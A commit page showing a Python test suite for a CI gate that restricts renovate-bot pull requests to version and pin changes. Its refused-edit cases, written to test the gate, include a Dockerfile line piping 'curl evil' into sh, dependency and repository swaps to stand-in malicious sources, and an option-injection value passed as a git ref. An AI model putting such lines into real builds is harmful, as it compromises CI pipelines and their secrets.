ci(lint): limit renovate pull requests to pin and version lines
scripts/check_bot_pr_diff.py fails a pull request from a renovate/ branch that touches anything but version, tag, digest and image pin lines, so the automerge of bot pull requests cannot alter workflow logic or reach the org secrets. Wired as a pull-request-only step of the lint workflow. Co-Authored-By: Claude Sonnet 5.5 <[email protected]> Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm
This commit is contained in:
1 parent
359e016307
commit
f2e1139562
3 files changed
+371
No files matched your search
@@ -0,0 +1,163 @@
|
||||
# SPDX-FileCopyrightText: Defame1297 and contributors
|
||||
# SPDX-License-Identifier: GPL-3.0-or-later
|
||||
"""Run with: python3 -m unittest discover -s tests/scripts"""
|
||||
import os
|
||||
import pathlib
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import unittest
|
||||
|
||||
SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts"
|
||||
sys.path.insert(0, str(SCRIPTS))
|
||||
import check_bot_pr_diff as cbd # noqa: E402
|
||||
|
||||
D1, D2 = "sha256:" + "a" * 64, "sha256:" + "b" * 64
|
||||
FILES = {
|
||||
"requirements-dev.txt": "# pins\nansible-core==2.19.14\nreuse==6.2.0\n",
|
||||
".pre-commit-config.yaml": "repos:\n - repo: https://github.com/x/y\n rev: v1.0.0\n hooks:\n - id: y\n",
|
||||
"images/ci/Dockerfile": f"FROM ubuntu:24.04@{D1} AS os\nRUN pip install uv==0.13.5 \\\n && echo hi\nRUN echo x\n",
|
||||
"images/molecule-ubuntu2404/Dockerfile": f"FROM ubuntu:24.04@{D1}\n",
|
||||
".gitea/workflows/image.yml": (f"jobs:\n image:\n matrix:\n include:\n - name: ci\n"
|
||||
f" version: 0.2.0\n container:\n image: ubuntu:24.04@{D1}\n"
|
||||
" steps:\n - run: echo ok\n"),
|
||||
".gitea/workflows/lint.yml": f"container:\n image: git.rkdr.net/mortis/ci:0.2.0@{D1}\nrun: echo a\n",
|
||||
".gitea/workflows/molecule.yml": f"env:\n MOLECULE_IMAGE: >-\n git.rkdr.net/mortis/mol:0.1.0@{D1}\n",
|
||||
"renovate.json": "{}\n",
|
||||
}
|
||||
|
||||
|
||||
def run(cwd, *cmd):
|
||||
return subprocess.run(cmd, cwd=cwd, check=True, capture_output=True, text=True,
|
||||
env={**os.environ, "GIT_CONFIG_GLOBAL": "/dev/null", "GIT_CONFIG_SYSTEM": "/dev/null"})
|
||||
|
||||
|
||||
class RuleTest(unittest.TestCase):
|
||||
def problem(self, path, old, new):
|
||||
return cbd.file_problem(path, [old], [new])
|
||||
|
||||
def test_allowed_edits(self):
|
||||
cases = [
|
||||
("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0"),
|
||||
(".pre-commit-config.yaml", " rev: v1.0.0", " rev: v1.1.0"),
|
||||
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:24.10@{D2} AS os"),
|
||||
("images/ci/Dockerfile", "RUN pip install uv==0.13.5 \\", "RUN pip install uv==0.14.0 \\"),
|
||||
(".gitea/workflows/image.yml", " version: 0.2.0", " version: 0.2.1"),
|
||||
(".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:24.04@{D2}"),
|
||||
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/mortis/ci:0.2.1@{D2}"),
|
||||
(".gitea/workflows/molecule.yml", f" git.rkdr.net/mortis/mol:0.1.0@{D1}",
|
||||
f" git.rkdr.net/mortis/mol:0.1.1@{D2}"),
|
||||
]
|
||||
for path, old, new in cases:
|
||||
self.assertIsNone(self.problem(path, old, new), (path, old, new))
|
||||
|
||||
def test_refused_edits(self):
|
||||
cases = [
|
||||
("requirements-dev.txt", "reuse==6.2.0", "evil==1.0"),
|
||||
("requirements-dev.txt", "reuse==6.2.0", "reuse @ https://x/y.tgz"),
|
||||
(".pre-commit-config.yaml", " rev: v1.0.0", " repo: https://evil/x"),
|
||||
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM evil:1@{D2} AS os"),
|
||||
("images/ci/Dockerfile", "RUN echo x", "RUN curl evil | sh"),
|
||||
("images/ci/Dockerfile", "RUN pip install uv==0.13.5", "RUN pip install uv==0.14.0 evil"),
|
||||
(".gitea/workflows/image.yml", " - run: echo ok", " - run: echo evil"),
|
||||
(".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: evil:1@{D1}"),
|
||||
(".gitea/workflows/lint.yml", "run: echo a", "run: echo b"),
|
||||
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/mortis/other:0.2.0@{D1}"),
|
||||
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
|
||||
f" image: git.rkdr.net/defame1297/ci:0.2.0@{D1}"),
|
||||
("renovate.json", "{}", '{"a": 1}'),
|
||||
("roles/x/tasks/main.yml", "a", "b"),
|
||||
]
|
||||
for path, old, new in cases:
|
||||
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
|
||||
|
||||
def test_unequal_line_counts_are_refused(self):
|
||||
self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"]))
|
||||
self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], []))
|
||||
|
||||
def test_patch_parser_keeps_dashed_content(self):
|
||||
patch = "diff --git a/f b/f\n--- a/f\n+++ b/f\n@@ -1 +1 @@\n--- x\n+++ y\n\\ No newline at end of file\n"
|
||||
self.assertEqual(cbd.parse_patch(patch), (["-- x"], ["++ y"]))
|
||||
|
||||
|
||||
class RepoTest(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.tmp = tempfile.TemporaryDirectory()
|
||||
self.repo = pathlib.Path(self.tmp.name)
|
||||
self.addCleanup(self.tmp.cleanup)
|
||||
run(self.repo, "git", "init", "-q", "-b", "main")
|
||||
run(self.repo, "git", "config", "user.email", "[email protected]")
|
||||
run(self.repo, "git", "config", "user.name", "t")
|
||||
for rel, text in FILES.items():
|
||||
self.write(rel, text)
|
||||
self.commit("base")
|
||||
run(self.repo, "git", "checkout", "-q", "-b", "renovate/x")
|
||||
|
||||
def write(self, rel, text):
|
||||
p = self.repo / rel
|
||||
p.parent.mkdir(parents=True, exist_ok=True)
|
||||
p.write_text(text)
|
||||
|
||||
def edit(self, rel, old, new):
|
||||
self.write(rel, (self.repo / rel).read_text().replace(old, new))
|
||||
|
||||
def commit(self, msg):
|
||||
run(self.repo, "git", "add", "-A")
|
||||
run(self.repo, "git", "commit", "-q", "-m", msg)
|
||||
|
||||
def gate(self, head="renovate/x", base="main"):
|
||||
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), head, base], cwd=self.repo,
|
||||
capture_output=True, text=True, check=False)
|
||||
return proc.returncode, proc.stdout, proc.stderr
|
||||
|
||||
def test_a_realistic_bot_pr_passes(self):
|
||||
self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0")
|
||||
self.edit(".pre-commit-config.yaml", "v1.0.0", "v1.1.0")
|
||||
self.edit("images/ci/Dockerfile", "uv==0.13.5", "uv==0.14.0")
|
||||
self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1")
|
||||
self.edit(".gitea/workflows/molecule.yml", D1, D2)
|
||||
self.commit("bot")
|
||||
code, out, err = self.gate()
|
||||
self.assertEqual(code, 0, err)
|
||||
self.assertIn("5 file(s)", out)
|
||||
|
||||
def test_each_violation_gets_one_line(self):
|
||||
self.edit(".gitea/workflows/lint.yml", "echo a", "echo b")
|
||||
self.write("roles/x/main.yml", "a\n")
|
||||
self.edit("renovate.json", "{}", '{"a":1}')
|
||||
self.commit("bot")
|
||||
code, _, err = self.gate()
|
||||
self.assertEqual(code, 1)
|
||||
lines = err.strip().splitlines()
|
||||
self.assertEqual(len(lines), 3, err)
|
||||
self.assertTrue(all(line.startswith("::error::") for line in lines))
|
||||
|
||||
def test_deleted_and_mode_changed_files_fail(self):
|
||||
run(self.repo, "git", "rm", "-q", "requirements-dev.txt")
|
||||
self.commit("bot")
|
||||
self.assertEqual(self.gate()[0], 1)
|
||||
run(self.repo, "git", "checkout", "-q", "main", "--", "requirements-dev.txt")
|
||||
os.chmod(self.repo / "requirements-dev.txt", 0o755)
|
||||
run(self.repo, "git", "add", "-A")
|
||||
run(self.repo, "git", "commit", "-q", "-m", "mode")
|
||||
self.assertEqual(self.gate()[0], 1)
|
||||
|
||||
def test_other_branches_are_skipped(self):
|
||||
self.write("roles/x/main.yml", "a\n")
|
||||
self.commit("human")
|
||||
code, out, _ = self.gate(head="feat/x")
|
||||
self.assertEqual(code, 0)
|
||||
self.assertIn("skipped", out)
|
||||
|
||||
def test_bad_input(self):
|
||||
code, _, err = self.gate(base="--output=x")
|
||||
self.assertEqual(code, 1)
|
||||
self.assertNotIn("Traceback", err)
|
||||
self.assertEqual(subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py")], cwd=self.repo,
|
||||
capture_output=True, text=True, check=False).returncode, 2)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
unittest.main()
|
||||
Reference in new issue
Block a user